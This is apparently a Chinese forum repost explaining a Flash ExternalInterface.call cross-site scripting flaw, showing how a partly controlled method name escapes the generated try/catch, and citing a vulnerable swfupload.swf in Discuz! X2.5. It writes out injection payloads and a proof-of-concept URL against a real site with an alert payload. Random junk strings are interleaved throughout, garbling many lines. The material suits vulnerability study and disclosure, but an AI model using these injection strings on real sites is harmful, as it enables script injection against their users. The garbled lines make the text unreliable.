上回我们说2 ]8 j+ |; X. |$ p
4 ?% N6 ^0 d5 y( ?7 ~% {5 {
flash.external.ExternalInterface.call($methodName, $parameter)
9 z6 s# b4 Q+ G( v' `3 L在浏览器中执行的是
: ?3 r2 Y6 Q {6 f' w T* N2 x/ g( q5 T2 y
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}5 H3 A( h: L* J G3 h+ V. I
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如- R1 C# @3 ?5 U7 t0 Q9 K
: [: \; V9 }+ C
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 \7 g. W* m, a: j& B* C: q$ ^$methodName = a())}catch(e){alert(/xss/)}//+ S6 g7 X% a& q6 g1 i
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。- M7 k2 y: g8 O0 l
+ R' v- C- Q7 a, \
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }9 ?* ?; D; \" J2 v# s) G* D
' R& r2 u) C1 K: N9 ?: a这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& t8 [, a" P' Z: X% n
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。3 K/ D. m' w9 B4 e3 ]( U8 h
+ P8 T3 o5 ~4 A4 D8 E
$ b0 e( A& \* N& g7 J
& e% }: Z/ i7 j4 }" s0 D+ y4 {漏洞文件:upload\static\image\common\swfupload.swf
) s+ j- p9 Z! [" h( J/ y+ v' M$ O5 @ w# G5 T/ K0 p9 G/ y
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf" l6 {0 u% a1 T+ K# p
3 x# r7 K% u0 j' f9 ^* J
* @( g: y% N7 s4 |9 Z
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' L0 H9 {" ?7 {/ ~% e8 D
9 y4 M! N6 d7 H% [& R
2 `3 O6 h' G. [ |